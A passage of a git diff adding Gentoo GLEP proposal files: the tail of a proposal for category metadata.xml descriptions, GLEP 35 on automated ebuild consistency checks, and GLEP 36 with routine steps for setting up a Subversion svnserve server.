+(long descriptions, herd and maintainer information) about a package. It
+is proposed that these files also be used to describe the purpose of a
+category.
+
+Motivation
+==========
+
+Category names are short and not entirely clear. Adding arbitrary length
+long descriptions to categories would provide several advantages:
+
+* It would clarify the meaning of categories for users, who may not be
+  aware of some of the abbreviations or acronyms we use.
+
+* With the use of XML ``lang=""`` attributes, it would allow for
+  additional non-English descriptions (simply using longer category names
+  would not allow this).
+
+* It would help developers better select a relevant category for their
+  package, rather than dumping everything into ``sys-apps`` and
+  ``app-misc`` as is done currently.
+
+* It would help illustrate which categories are too broad or badly defined
+  in scope, making any future category splits easier.
+
+Specification
+=============
+
+It is proposed that the existing ``metadata.xml`` format [1]_ be used.
+Even though XML sucks, there is already a framework in place for these
+files.  The filename will be ``blah-misc/metadata.xml``. The character set
+used shall be UTF-8 for consistency with GLEP 31 [2]_.
+
+A new top level ``<catmetadata>`` element shall be added to the DTD. This
+is necessary because the existing ``<pkgmetadata>`` element is not
+appropriately named, and doing a global rename would be impractical. Using
+a different element would also permit additional category-specific data to
+be added at a later date.
+
+The existing ``<longdescription>`` elements shall be used for
+descriptions. The ``lang`` attribute shall be used to indicate the human
+language of the description -- all categories must have at least an
+English (``en``) description.
+
+The ``<herd>`` and ``<maintainer>`` elements are not generally relevant at
+the category level. They may be specified as a fall-back "assume that
+everything in this category is maintained by these people", but this must
+not be used as a replacement for proper per-package metadata.
+
+
+Examples
+--------
+
+The ``app-vim`` category could use a ``metadata.xml`` file like the
+following: ::
+
+    <?xml version="1.0" encoding="UTF-8"?>
+    <!DOCTYPE catmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+    <catmetadata>
+            <longdescription lang="en">
+                The app-vim category contains plugins and syntax file
+                packages for the Vim text editor.
+            </longdescription>
+            <longdescription lang="de">
+                Die Kategorie app-vim enthält Plugins und Syntax-Pakete
+                für den Vim Texteditor.
+            </longdescription>
+    </catmetadata>
+
+Implementation Requirements
+---------------------------
+
+The DTD file would need to be updated to include the ``<catmetadata>``
+element.
+
+A metadata file would have to be added to every category in the tree. This
+could be done over a period of time.
+
+``repoman`` would need a few small changes to be able to handle
+per-category metadata files.
+
+The "packages.gentoo.org metadata" bug [3]_ would need to be
+updated to ask for category descriptions as well.
+
+The metadata documentation [1]_ would require some additions.
+
+Backwards Compatibility
+=======================
+
+The metadata DTD will remain backwards compatible.
+
+The category metadata files will need to be considered "optional until
+implemented" rather than immediately becoming mandatory.
+
+References
+==========
+
+.. [1] Gentoo Metadata,
+       (http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml?part=2&chap=4)
+.. [2] GLEP 31: Character Sets for Portage Tree Items
+       (http://www.gentoo.org/proj/en/glep/glep-0031.html)
+.. [3] Gentoo bug 66917
+       (http://bugs.gentoo.org/show_bug.cgi?id=66917)
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
+.. vim: set tw=74 fileencoding=utf-8 :
+
diff --git a/xml/htdocs/proj/en/glep/glep-0035.html b/xml/htdocs/proj/en/glep/glep-0035.html
new file mode 100644
index 00000000..3f61ae30
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0035.html
@@ -0,0 +1,222 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 35 -- Automated consistency check for ebuilds</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0035.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">35</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Automated consistency check for ebuilds</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.2</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0035.txt?cvsroot=gentoo">2007/04/21 03:13:16</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Adrian Lambeck &lt;adrian&#32;&#97;t&#32;basicsedv.de&gt;,</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Deferred</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">12-Mar-2005</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">12-Mar-2005</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id5" name="id5">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id6" name="id6">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id7" name="id7">Specification</a></li>
+<li><a class="reference" href="#implementation" id="id8" name="id8">Implementation</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id9" name="id9">Backwards Compatibility</a></li>
+<li><a class="reference" href="#id1" id="id10" name="id10">References</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="abstract" name="abstract">Abstract</a></h1>
+<p>This proposal is meant to enhance productivity for Gentoo developers.
+It aims to reduce the number of trivial bugs by automatically detecting them
+through a consistency check that is performed before checking and on a regular
+basis through the whole tree.
+Why bother with trivial bugs when automated tests find them ?
+Save time and improve quality !</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="motivation" name="motivation">Motivation</a></h1>
+<p>When browsing <a class="reference" href="http://bugs.gentoo.org">bugs.gentoo.org</a> <a class="footnote-reference" href="#id2" id="id3" name="id3">[1]</a> you will find Bugs that take away a good
+amount of scarce developing time that could be used otherwise.  These are
+trivial bugs, i.e. wrong SRC_URI or cycles in DEPEND. Even worst - these bugs
+are sometimes reported several times so that they need to be marked as
+dublicates.  Bugs of that kind are easy to find and easy to fix. By using
+automatic checks on a regular schedule these bugs can be found.  Users have to
+be asked NOT to commit these bugs to <a class="reference" href="http://bugs.gentoo.org">bugs.gentoo.org</a> <a class="footnote-reference" href="#id2" id="id4" name="id4">[1]</a>.  So there will
+(hopefully) be fewer bugs that need to be checked and assigned and they might
+get fixed faster.</p>
+<p>The Bugs found should be kept in an automatically generated list so that users
+can see that the problem has been caught and that it is being worked on.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="specification" name="specification">Specification</a></h1>
+<p>Checks need to be performed for every ebuild.</p>
+<p>A report needs to be generated</p>
+<blockquote>
+<ul class="simple">
+<li>links to the specific problem need to be included</li>
+<li>reports need to be send to the groups responsible</li>
+</ul>
+</blockquote>
+<p>Checks could be:</p>
+<blockquote>
+<ul class="simple">
+<li>cycles within DEPEND</li>
+<li>invalid SRC_URI</li>
+<li>&quot;non-official&quot; USE Flags</li>
+<li>Packages within DEPEND that are &quot;*&quot; for the arch specified</li>
+<li>broken shell scripts with invalid or missing commands</li>
+<li>inheritance of eclasses</li>
+<li>...</li>
+</ul>
+</blockquote>
+<p>There might be other checks and tests that should be run
+that have not come to my mind yet. Also I might have suggested something that
+is not useful at all.</p>
+<p>If there are major problems (needs to be defined) within an ebuild a possible
+action could be to disable the ebuild (with <tt class="docutils literal"><span class="pre">&quot;-*&quot;</span></tt>,)  perhaps, and send a
+mail to the maintainer.</p>
+<p>These kind of errors are not always the fault of the developers.</p>
+<p>There should be no compilation or something like that. If an ebuild fails to
+build somewhere then the user should file it as a bug as usual.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="implementation" name="implementation">Implementation</a></h1>
+<p>The functionality described could be implemented in three ways:</p>
+<blockquote>
+<ol class="arabic">
+<li><dl class="first docutils">
+<dt>On the developers machine (&quot;client&quot;) where it is run before checking</dt>
+<dd><p class="first last">only for the ebuilds that changed. (client does not fit here because
+the server and client should not communicate with each other at all)</p>
+</dd>
+</dl>
+</li>
+<li><p class="first">On the server where checks are run, i.e. once a week.</p>
+</li>
+<li><p class="first">On the &quot;client&quot; AND server</p>
+</li>
+</ol>
+<p>Of course there are cons and pros (what came to my mind so far)</p>
+<ol class="arabic">
+<li><dl class="first docutils">
+<dt>pro:</dt>
+<dd><ul class="first last simple">
+<li>the tree can not become inconsistent in the first place (? see contra)</li>
+<li>once an ebuild is checked there is no need to do this again</li>
+<li>no dedicated machine necessary</li>
+<li>generate traffic only once on one machine</li>
+<li>errors that are caught here do not bother later on</li>
+</ul>
+</dd>
+<dt>contra:</dt>
+<dd><ul class="first last">
+<li><dl class="first docutils">
+<dt>the consistency is based on the tool installed</dt>
+<dd><p class="first last">(what happens when different devs use different versions ?)</p>
+</dd>
+</dl>
+</li>
+<li><dl class="first docutils">
+<dt>what happens when the ebuild layout changes and some ebuilds</dt>
+<dd><p class="first last">do not get updated ?</p>
+</dd>
+</dl>
+</li>
+</ul>
+</dd>
+</dl>
+</li>
+<li><dl class="first docutils">
+<dt>pro:</dt>
+<dd><ul class="first last simple">
+<li>Properties of other ebuilds might change that fit while writing an ebuild</li>
+</ul>
+</dd>
+<dt>contra:</dt>
+<dd><ul class="first last">
+<li><p class="first">the errors are found when the ebuild is already in CVS</p>
+</li>
+<li><p class="first">the whole tree needs to be checked</p>
+</li>
+<li><dl class="first docutils">
+<dt>possibly creates a lot of traffic on every run</dt>
+<dd><p class="first last">(-&gt; is there an FTP equivalent to HTTP`s HEAD ?)</p>
+</dd>
+</dl>
+</li>
+</ul>
+</dd>
+</dl>
+</li>
+<li><p class="first">see 1. and 2.</p>
+</li>
+</ol>
+</blockquote>
+<p>My favorite is 3 . All properties are checked before check-in and
+the properties that change might be checked on a regular basis on the server.
+Only solution 3 brings the best from 1 and 2 together while delivering the best result.</p>
+<p>I never had a look at portage source but I can imagine that there is a library
+that has everything that a developer needs to &quot;query&quot; ebuilds. If not, this
+would be a reason for another GLEP (?).</p>
+<p>For performance I would use a database (on the server) to store the whole tree before
+running the checks. This is not necessary for the &quot;client&quot;.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>Not a problem for this GLEP.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="id1" name="id1">References</a></h1>
+<table class="docutils footnote" frame="void" id="id2" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="id2">[1]</a></td><td><em>(<a class="fn-backref" href="#id3">1</a>, <a class="fn-backref" href="#id4">2</a>)</em> <a class="reference" href="http://bugs.gentoo.org">http://bugs.gentoo.org</a></td></tr>
+</tbody>
+</table>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0035.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0035.txt b/xml/htdocs/proj/en/glep/glep-0035.txt
new file mode 100644
index 00000000..b25c94d7
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0035.txt
@@ -0,0 +1,134 @@
+GLEP: 35
+Title: Automated consistency check for ebuilds
+Version: $Revision: 1.2 $
+Last-Modified: $Date: 2007/04/21 03:13:16 $
+Author:	Adrian Lambeck <adrian@basicsedv.de>,
+Status: Deferred
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 12-Mar-2005
+Post-History: 12-Mar-2005
+
+
+Abstract
+========
+
+This proposal is meant to enhance productivity for Gentoo developers.
+It aims to reduce the number of trivial bugs by automatically detecting them
+through a consistency check that is performed before checking and on a regular
+basis through the whole tree.
+Why bother with trivial bugs when automated tests find them ?
+Save time and improve quality !
+
+
+Motivation
+==========
+
+When browsing `bugs.gentoo.org`_ you will find Bugs that take away a good
+amount of scarce developing time that could be used otherwise.  These are
+trivial bugs, i.e. wrong SRC_URI or cycles in DEPEND. Even worst - these bugs
+are sometimes reported several times so that they need to be marked as
+dublicates.  Bugs of that kind are easy to find and easy to fix. By using
+automatic checks on a regular schedule these bugs can be found.  Users have to
+be asked NOT to commit these bugs to `bugs.gentoo.org`_.  So there will
+(hopefully) be fewer bugs that need to be checked and assigned and they might
+get fixed faster.
+
+.. _bugs.gentoo.org: http://bugs.gentoo.org
+
+The Bugs found should be kept in an automatically generated list so that users
+can see that the problem has been caught and that it is being worked on.
+
+
+Specification
+=============
+
+Checks need to be performed for every ebuild.
+
+A report needs to be generated
+
+	- links to the specific problem need to be included
+	- reports need to be send to the groups responsible
+	
+Checks could be:
+
+	- cycles within DEPEND
+	- invalid SRC_URI
+	- "non-official" USE Flags
+	- Packages within DEPEND that are "*" for the arch specified
+	- broken shell scripts with invalid or missing commands
+	- inheritance of eclasses
+	- ...
+
+There might be other checks and tests that should be run
+that have not come to my mind yet. Also I might have suggested something that
+is not useful at all.
+
+If there are major problems (needs to be defined) within an ebuild a possible
+action could be to disable the ebuild (with ``"-*"``,)  perhaps, and send a
+mail to the maintainer.
+
+These kind of errors are not always the fault of the developers.
+
+There should be no compilation or something like that. If an ebuild fails to
+build somewhere then the user should file it as a bug as usual.
+
+
+Implementation
+==============
+
+The functionality described could be implemented in three ways:
+
+	1. On the developers machine ("client") where it is run before checking
+		only for the ebuilds that changed. (client does not fit here because 
+		the server and client should not communicate with each other at all)
+	
+	2. On the server where checks are run, i.e. once a week.
+	
+	3. On the "client" AND server 
+
+
+	Of course there are cons and pros (what came to my mind so far)
+	
+	1.
+		pro: 
+			- the tree can not become inconsistent in the first place (? see contra)
+			- once an ebuild is checked there is no need to do this again
+			- no dedicated machine necessary
+			- generate traffic only once on one machine
+			- errors that are caught here do not bother later on
+		
+		contra:
+			- the consistency is based on the tool installed 
+			 	(what happens when different devs use different versions ?)
+			- what happens when the ebuild layout changes and some ebuilds
+				do not get updated ?
+			 
+	2.
+		pro:
+			- Properties of other ebuilds might change that fit while writing an ebuild
+		
+		contra:
+			- the errors are found when the ebuild is already in CVS
+			- the whole tree needs to be checked
+			- possibly creates a lot of traffic on every run
+				(-> is there an FTP equivalent to HTTP`s HEAD ?)
+				
+	3. see 1. and 2.
+
+My favorite is 3 . All properties are checked before check-in and 
+the properties that change might be checked on a regular basis on the server.
+Only solution 3 brings the best from 1 and 2 together while delivering the best result.
+
+I never had a look at portage source but I can imagine that there is a library
+that has everything that a developer needs to "query" ebuilds. If not, this
+would be a reason for another GLEP (?).
+
+For performance I would use a database (on the server) to store the whole tree before
+running the checks. This is not necessary for the "client".
+
+
+Backwards Compatibility
+=======================
+
+Not a problem for this GLEP.
diff --git a/xml/htdocs/proj/en/glep/glep-0036.html b/xml/htdocs/proj/en/glep/glep-0036.html
new file mode 100644
index 00000000..be218aa3
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0036.html
@@ -0,0 +1,211 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 36 -- Subversion/CVS for Gentoo Hosted Projects</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0036.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">36</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Subversion/CVS for Gentoo Hosted Projects</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.6</td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Aaron Walker &lt;ka0ttic&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0036.txt?cvsroot=gentoo">2005/11/07 22:26:59</a></td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Final</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">11-Nov-2004</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">13-Mar-2005, 21-Mar-2005</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id11" name="id11">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id12" name="id12">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id13" name="id13">Specification</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id14" name="id14">Backwards Compatibility</a></li>
+<li><a class="reference" href="#references" id="id15" name="id15">References</a></li>
+<li><a class="reference" href="#copyright" id="id16" name="id16">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id11" id="abstract" name="abstract">Abstract</a></h1>
+<p>Allow maintainers of Gentoo hosted projects to choose between Subversion/CVS.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id12" id="motivation" name="motivation">Motivation</a></h1>
+<p>By offering a choice of version control systems, developers who want or need
+certain features, can choose which one suits them or their project the best.</p>
+<p>In addition, there are quite a few projects that should be Gentoo hosted, but
+are hosted elsewhere due to the fact that Subversion is not currently offered.
+Examples include the app-vim/gentoo-syntax package (<a class="footnote-reference" href="#id6" id="id1" name="id1">[1]</a>), and
+app-shells/gentoo-bashcomp (<a class="footnote-reference" href="#id7" id="id2" name="id2">[2]</a>).</p>
+<p>Subversion has many advantages over CVS, including changesets, directory
+versioning, atomic commits, versioned metadata, and more efficient branching
+and tagging (<a class="footnote-reference" href="#id8" id="id3" name="id3">[3]</a>).  Despite these advantages, many developers feel that
+Subversion is not yet ready for the main tree due to scaling issues.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id13" id="specification" name="specification">Specification</a></h1>
+<p>The following steps describe, in detail, the process of setting up the
+Subversion svnserve daemon (over SSH) and creating new repositories.</p>
+<p>One repository should be created per project.  Reasons for this include easier
+control over who has access, performance (checking out one big repository
+takes many times longer), ease-of-use (branching and merging are more difficult
+with one big repository), and meaningful revision numbers (since Subversion
+uses repository-global revision numbers, revision numbers for project A will
+increase on every commit even if no changes are made to project A).</p>
+<p>For preexisting CVS repositories, instructions on converting (<a class="footnote-reference" href="#id9" id="id4" name="id4">[4]</a>) are
+already available in addition to the cvs2svn documentation itself (<a class="footnote-reference" href="#id10" id="id5" name="id5">[5]</a>).</p>
+<ol class="arabic">
+<li><p class="first">Install dev-util/subversion:</p>
+<pre class="literal-block">
+$ emerge subversion
+</pre>
+</li>
+<li><p class="first">Write wrapper script for svnserve:</p>
+<pre class="literal-block">
+$ $EDITOR /usr/local/bin/svnserve-ssh &amp;&amp; chmod +x \
+&gt; /usr/local/bin/svnserve-ssh
+
+#!/bin/sh
+umask 002
+exec /usr/bin/svnserve &quot;$&#64;&quot;
+</pre>
+</li>
+<li><p class="first">Modify the svnserve rc script:</p>
+<pre class="literal-block">
+$ cp /etc/init.d/svnserve /etc/init.d/svnserve-ssh
+$ sed -i 's:/usr/bin/svnserve:/usr/local/bin/svnserve-ssh:' \
+&gt; /etc/init.d/svnserve-ssh
+</pre>
+</li>
+<li><p class="first">Edit svnserve rc config:</p>
+<pre class="literal-block">
+$ ln -s /etc/init.d/svnserve /etc/init.d/svnserve-ssh
+$ $EDITOR /etc/init.d/svnserve
+</pre>
+<p>SVNSERVE_OPTS=&quot;--root=/var/svnroot&quot;
+SVNSERVE_USER=&quot;svn&quot;
+SVNSERVE_GROUP=&quot;svn&quot;</p>
+</li>
+<li><p class="first">Add svn group and user:</p>
+<pre class="literal-block">
+$ groupadd svn
+$ useradd svn -d /var/svnroot -s /bin/false -g svn
+</pre>
+</li>
+<li><p class="first">Create the directory that will hold the repositories:</p>
+<pre class="literal-block">
+$ mkdir -p /var/svnroot/conf
+</pre>
+</li>
+<li><p class="first">To create new repositories, simply run:</p>
+<pre class="literal-block">
+$ svnadmin create --fs-type fsfs /var/svnroot/&lt;repos&gt;
+</pre>
+</li>
+<li><p class="first">Make sure newly created/converted repositories have correct permissions.  Of course, Infra might want to do this differently:</p>
+<pre class="literal-block">
+$ chown -Rf svn:users /var/svnroot/&lt;repos&gt;
+$ chmod -Rf 775 /var/svnroot/&lt;repos&gt;
+</pre>
+</li>
+<li><p class="first">Start it up:</p>
+<pre class="literal-block">
+$ /etc/init.d/svnserve-ssh start
+$ rc-update add svnserve-ssh default
+</pre>
+</li>
+</ol>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id14" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>Offering a choice between Subversion and CVS should in no way cause any
+backwards compatibility issues.  Those developers who prefer to use CVS can
+continue to do so without any ill effects.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id15" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="id6" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1" name="id6">[1]</a></td><td>app-vim/gentoo-syntax
+<a class="reference" href="http://developer.berlios.de/projects/gentoo-syntax/">http://developer.berlios.de/projects/gentoo-syntax/</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id7" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id2" name="id7">[2]</a></td><td>app-shells/gentoo-bashcomp
+<a class="reference" href="http://developer.berlios.de/projects/gentoo-bashcomp/">http://developer.berlios.de/projects/gentoo-bashcomp/</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id8" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id3" name="id8">[3]</a></td><td>Version Control with Subversion
+<a class="reference" href="http://svnbook.red-bean.com/en/1.0/ch01s03.html">http://svnbook.red-bean.com/en/1.0/ch01s03.html</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id9" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id4" name="id9">[4]</a></td><td>Migration of Gentoo Repositories from CVS to Subversion
+<a class="reference" href="http://dev.gentoo.org/~trapni/CVS2SVN.MIGRATION">http://dev.gentoo.org/~trapni/CVS2SVN.MIGRATION</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id10" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id5" name="id10">[5]</a></td><td>cvs2svn Documentation
+<a class="reference" href="http://cvs2svn.tigris.org/cvs2svn.html">http://cvs2svn.tigris.org/cvs2svn.html</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id16" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0036.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0036.txt b/xml/htdocs/proj/en/glep/glep-0036.txt
new file mode 100644
index 00000000..795006ee
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0036.txt
@@ -0,0 +1,126 @@
+GLEP: 36
+Title: Subversion/CVS for Gentoo Hosted Projects
+Version: $Revision: 1.6 $
+Author: Aaron Walker <ka0ttic@gentoo.org>
+Last-Modified: $Date: 2005/11/07 22:26:59 $
+Status: Final
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 11-Nov-2004
+Post-History: 13-Mar-2005, 21-Mar-2005
+
+Abstract
+========
+
+Allow maintainers of Gentoo hosted projects to choose between Subversion/CVS.
+
+Motivation
+==========
+
+By offering a choice of version control systems, developers who want or need
+certain features, can choose which one suits them or their project the best.
+
+In addition, there are quite a few projects that should be Gentoo hosted, but
+are hosted elsewhere due to the fact that Subversion is not currently offered.
+Examples include the app-vim/gentoo-syntax package ([1]_), and
+app-shells/gentoo-bashcomp ([2]_).
+
+Subversion has many advantages over CVS, including changesets, directory 
+versioning, atomic commits, versioned metadata, and more efficient branching
+and tagging ([3]_).  Despite these advantages, many developers feel that
+Subversion is not yet ready for the main tree due to scaling issues.
+
+Specification
+=============
+
+The following steps describe, in detail, the process of setting up the
+Subversion svnserve daemon (over SSH) and creating new repositories.
+
+One repository should be created per project.  Reasons for this include easier
+control over who has access, performance (checking out one big repository
+takes many times longer), ease-of-use (branching and merging are more difficult
+with one big repository), and meaningful revision numbers (since Subversion
+uses repository-global revision numbers, revision numbers for project A will
+increase on every commit even if no changes are made to project A).
+
+For preexisting CVS repositories, instructions on converting ([4]_) are
+already available in addition to the cvs2svn documentation itself ([5]_).
+
+1.  Install dev-util/subversion::
+
+    $ emerge subversion
+
+2.  Write wrapper script for svnserve::
+
+
+     $ $EDITOR /usr/local/bin/svnserve-ssh && chmod +x \
+     > /usr/local/bin/svnserve-ssh
+
+     #!/bin/sh
+     umask 002
+     exec /usr/bin/svnserve "$@"
+
+3.  Modify the svnserve rc script::
+
+     $ cp /etc/init.d/svnserve /etc/init.d/svnserve-ssh
+     $ sed -i 's:/usr/bin/svnserve:/usr/local/bin/svnserve-ssh:' \
+     > /etc/init.d/svnserve-ssh
+
+4.  Edit svnserve rc config::
+
+    $ ln -s /etc/init.d/svnserve /etc/init.d/svnserve-ssh
+    $ $EDITOR /etc/init.d/svnserve
+
+    SVNSERVE_OPTS="--root=/var/svnroot"
+    SVNSERVE_USER="svn"
+    SVNSERVE_GROUP="svn"
+
+5.  Add svn group and user::
+
+    $ groupadd svn
+    $ useradd svn -d /var/svnroot -s /bin/false -g svn
+
+6.  Create the directory that will hold the repositories::
+
+    $ mkdir -p /var/svnroot/conf
+
+7.  To create new repositories, simply run::
+
+    $ svnadmin create --fs-type fsfs /var/svnroot/<repos>
+
+8.  Make sure newly created/converted repositories have correct permissions.  Of course, Infra might want to do this differently::
+
+    $ chown -Rf svn:users /var/svnroot/<repos>
+    $ chmod -Rf 775 /var/svnroot/<repos>
+
+9.  Start it up::
+
+    $ /etc/init.d/svnserve-ssh start
+    $ rc-update add svnserve-ssh default
+
+Backwards Compatibility
+=======================
+
+Offering a choice between Subversion and CVS should in no way cause any
+backwards compatibility issues.  Those developers who prefer to use CVS can
+continue to do so without any ill effects.
+
+References
+==========
+
+.. [1] app-vim/gentoo-syntax
+       http://developer.berlios.de/projects/gentoo-syntax/
+.. [2] app-shells/gentoo-bashcomp
+       http://developer.berlios.de/projects/gentoo-bashcomp/
+.. [3] Version Control with Subversion
+       http://svnbook.red-bean.com/en/1.0/ch01s03.html
+.. [4] Migration of Gentoo Repositories from CVS to Subversion
+       http://dev.gentoo.org/~trapni/CVS2SVN.MIGRATION
+.. [5] cvs2svn Documentation
